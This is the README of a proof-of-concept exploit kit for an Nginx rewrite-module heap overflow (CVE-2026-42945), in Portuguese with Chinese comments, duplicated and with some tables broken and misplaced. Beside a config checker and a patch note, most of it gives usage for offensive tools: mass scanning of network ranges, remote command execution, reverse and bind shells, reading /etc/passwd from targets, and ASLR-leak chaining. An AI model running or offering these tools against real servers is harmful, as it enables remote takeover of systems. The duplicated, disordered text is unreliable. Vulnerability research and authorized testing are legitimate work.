
CVE-2026-42945 Nginx Rift
Um kit abrangente de prova de conceito para CVE-2026-42945 (Nginx Rift), uma vulnerabilidade crítica de estouro de buffer no heap no módulo ngx_http_rewrite_module do Nginx.
| Campo | Detalhes |
|---|---|
| ID do CVE | CVE-2026-42945 |
| Nome | Nginx Rift |
| Tipo | Estouro de Buffer no Heap |
| Componente | ngx_http_rewrite_module |
| Gravidade | Crítica (CVSS 9.2) |
| Versões afetadas | Nginx 0.6.27 - 1.30.0 |
| Versões corrigidas | Nginx 1.30.1 / 1.31.0 |
A vulnerabilidade existe devido a um erro de cálculo de tamanho entre duas passadas internas ao processar regras de rewrite. Se uma configuração usar:
$1, $2, etc.)?O Nginx calcula incorretamente o tamanho do buffer necessário durante a primeira passada e grava além do buffer de heap alocado durante a segunda passada.
server {
# VULNERABLE: Unnamed capture ($1) + '?' in replacement
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# SAFE: Named capture (?P<path>) replaces $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py - Ferramenta PoC PrincipalFerramenta de varredura de vulnerabilidades e exploração para alvo único.
Recursos:
ServerUso:
# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com
# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py - Scanner em LoteScanner em lote para testar vários alvos simultaneamente.
Recursos:
Uso:
# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json
# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
Formato do arquivo de alvos:
# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py - Analisador de ConfiguraçãoExamina arquivos de configuração locais do Nginx em busca de padrões de rewrite vulneráveis.
Recursos:
nginx.conf e seguir as diretivas include? em strings de substituiçãoUso:
# Scan single file
python config_checker.py /etc/nginx/nginx.conf
# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/
# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf
# Auto-detect common Nginx paths
python config_checker.py
enhanced_poc.py - PoC RCE AprimoradoFerramenta de exploração avançada baseada na pesquisa oficial do depthfirst, com suporte a múltiplos padrões de rewrite e modos de exploração.
Recursos:
/api/, /redirect/, /user/, etc.)+, &, =, %)cmd / shell / bind / readngx_pool_cleanup_s falsoUso:
# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect
# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd
# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
Detalhes dos Modos de Exploração:
Configuração de Endereços (somente com ASLR desativado):
--heap-base: base do heap do alvo (ex.: 0x555555559000)--libc-base: endereço base da libc (ex.: 0x7ffff77ba000)--system-addr: endereço direto de system() (substitui libc-base)aslr_leak_detector.py - Detector de Vazamentos de ASLRScanner abrangente para detectar vazamentos de informações que podem contornar a proteção ASLR.
Recursos:
/nginx_status, /actuator/*, etc.)enhanced_poc.py via relatório JSONUso:
# Scan single target
python aslr_leak_detector.py -t target.example.com
# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick
Integração com o PoC Aprimorado:
# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json
# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
A ferramenta PoC identifica a vulnerabilidade por meio dos seguintes indicadores:
| Indicador | Descrição |
|---|---|
Nenhuma dependência externa necessária. Utiliza apenas a biblioteca padrão do Python.
# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945
# Verify Python version (3.7+ recommended)
python3 --version
# Run any tool
python3 nginx_rift_poc.py --help
Se não for possível aplicar o patch imediatamente, substitua as capturas sem nome por capturas nomeadas:
# BEFORE (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# AFTER (SAFE)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
Implante regras de WAF para bloquear requisições malformadas direcionadas a padrões de rewrite vulneráveis.
Este kit é destinado exclusivamente a testes de segurança autorizados e fins de pesquisa.
Esta falha foi descoberta juntamente com três outros problemas de corrupção de memória:
| CVE | Descrição | Gravidade |
|---|---|---|
| CVE-2026-42946 | Falha de alocação de memória em SCGI/UWSGI | Alta |
| CVE-2026-40701 | Use-after-free na resolução de DNS para OCSP | Média |
| CVE-2026-42934 | Leitura fora dos limites no parsing de UTF-8 |
Este projeto é fornecido para fins educacionais e de testes de segurança autorizados.
Autor: Security Research Team Data: 2026-06-11
CVE-2026-42945 (Nginx Rift) é uma vulnerabilidade de estouro de buffer no heap no módulo ngx_http_rewrite_module do Nginx, presente desde 2008 (Nginx 0.6.27), permanecendo latente por cerca de 18 anos.
Ao processar regras de rewrite, o Nginx realiza duas passadas de parsing internamente. Se a configuração atender simultaneamente às duas condições a seguir:
$1, $2)?O Nginx calcula incorretamente o tamanho do buffer durante a primeira passada e, na segunda passada, grava dados além dos limites do buffer de heap, causando o estouro de heap.
server {
# 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# 安全:使用命名捕获 (?P<name>) 替代 $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py — Ferramenta PoC PrincipalFerramenta de detecção e exploração de vulnerabilidades para alvo único.
Recursos:
ServerUso:
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com
# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py — Scanner em MassaVarredura multithread concorrente de múltiplos alvos.
Recursos:
Uso:
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json
# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# 高速扫描(100线程)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
Formato do arquivo de alvos:
# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py — Verificador de Arquivos de ConfiguraçãoExamina arquivos de configuração locais do Nginx em busca de padrões de rewrite vulneráveis.
Recursos:
nginx.conf e resolver recursivamente os arquivos referenciados por include?Uso:
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf
# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/
# 自动修复脆弱配置(自动备份原文件)
python config_checker.py --fix /etc/nginx/nginx.conf
# 自动探测常见 Nginx 配置路径
python config_checker.py
enhanced_poc.py — PoC RCE AprimoradoFerramenta de exploração avançada baseada na pesquisa oficial do depthfirst, com suporte a múltiplos padrões de rewrite e métodos de exploração.
Recursos:
/api/, /redirect/, /user/, etc.)+, &, =, %)cmd / shell / bind / readngx_pool_cleanup_s falsoTabela de expansão dos caracteres de disparo de overflow:
Uso:
# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect
# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# 绑定 Shell(在目标上监听)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd
# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
Explicação dos modos de exploração:
Configuração de endereços (somente em ambientes com ASLR desativado):
--heap-base: endereço base do heap do alvo (ex.: 0x555555559000)--libc-base: endereço base da libc (ex.: 0x7ffff77ba000)--system-addr: especifica diretamente o endereço de system()aslr_leak_detector.py — Ferramenta de Detecção de Vazamento de Informações ASLRScanner abrangente que detecta vazamentos de informações que podem ser usados para contornar a proteção ASLR.
Recursos:
/nginx_status, /actuator/*, etc.)enhanced_poc.py por meio de relatórios JSONUso:
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com
# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick
Uso integrado com o PoC aprimorado:
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json
# 步骤 2:使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
A ferramenta PoC determina se o alvo está vulnerável por meio dos seguintes sintomas:
| Indicador | Descrição |
|---|
Não é necessário instalar nenhuma dependência de terceiros; basta usar a biblioteca padrão do Python para executar.
# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945
# 验证 Python 版本(推荐 3.7+)
python3 --version
# 查看工具帮助
python3 nginx_rift_poc.py --help
Substitua as capturas sem nome por capturas nomeadas:
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# 修改后(安全)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
Implante regras de firewall de aplicação web (WAF) para bloquear requisições maliciosas direcionadas a padrões de rewrite vulneráveis.
Este kit é destinado exclusivamente a testes de segurança autorizados e fins de pesquisa.
Esta vulnerabilidade é uma de uma série de problemas de corrupção de memória descobertos pelo sistema de análise estática orientado por IA do depthfirst:
| CVE | Descrição | Nível |
|---|---|---|
| CVE-2026-42946 | Falha de alocação de memória em SCGI/UWSGI | Alto |
| CVE-2026-40701 | UAF na resolução de DNS para OCSP | Médio |
| CVE-2026-42934 | Leitura fora dos limites no parsing de UTF-8 |
Este projeto é destinado apenas a fins educacionais e testes de segurança autorizados.
Autor: Security Research Team Data: 2026-06-11
| Modo | Descrição | Saída |
|---|
cmd | Executa um único comando shell | Saída do comando no alvo |
shell | Abre shell reverso | Conecta de volta a --listen-ip:listen-port |
bind | Abre shell bind no alvo | Escuta na porta --listen-port do alvo |
read | Lê arquivo do alvo | Conteúdo gravado em /tmp/nginx_rift_read |
| Conexão interrompida |
| O alvo fecha a conexão inesperadamente (crash do worker) |
| Erros de gateway | Respostas HTTP 502/503/504 (processo do worker morreu) |
| Respostas lentas | O tempo de resposta aumenta significativamente (recuperação de crash) |
| Respostas vazias | O corpo da resposta desaparece em comparação com a linha de base |
| Correspondência de versão | A versão do Nginx detectada está na faixa vulnerável |
| Produto | Versões afetadas | Versões corrigidas |
|---|
| Nginx Open Source | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | Todas as versões anteriores aos patches | Atualizar para a versão corrigida |
| Nginx Gateway Fabric | Todas as versões anteriores aos patches | Atualizar para a versão corrigida |
| Média |
| Campo | Detalhes |
|---|
| ID do CVE | CVE-2026-42945 |
| Nome da vulnerabilidade | Nginx Rift |
| Tipo de vulnerabilidade | Estouro de buffer no heap (Heap Buffer Overflow) |
| Componente afetado | ngx_http_rewrite_module |
| Nível de gravidade | Crítica (CVSS 9.2) |
| Versões afetadas | Nginx 0.6.27 - 1.30.0 |
| Versões corrigidas | Nginx 1.30.1 / 1.31.0 |
| Caractere | Expandido para | Overflow por caractere |
|---|
+ | %2B | +2 bytes |
& | %26 | +2 bytes |
= | %3D | +2 bytes |
% | %25 | +2 bytes |
| espaço | %20 | +2 bytes |
| Modo | Descrição | Saída |
|---|
cmd | Executa um único comando shell | Saída do comando mantida no alvo |
shell | Gera shell reverso | Conecta de volta a --listen-ip:listen-port |
bind | Gera shell bind | Escuta na porta --listen-port do alvo |
read | Lê arquivo do alvo | Conteúdo gravado em /tmp/nginx_rift_read |
| Conexão interrompida | O alvo fecha a conexão de forma anormal (crash do processo Worker) |
| Erros de gateway | Retorna HTTP 502/503/504 (processo Worker morto) |
| Respostas lentas | O tempo de resposta aumenta significativamente (reinício automático após crash) |
| Corpo de resposta vazio | Em comparação com a linha de base, o corpo da resposta fica vazio (Worker travou) |
| Correspondência de versão | A versão do Nginx detectada está na faixa vulnerável |
| Produto | Versões afetadas | Versões corrigidas |
|---|
| Nginx Open Source | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | Todas as versões sem patch | Atualizar para a versão corrigida |
| Nginx Gateway Fabric | Todas as versões sem patch | Atualizar para a versão corrigida |
| Médio |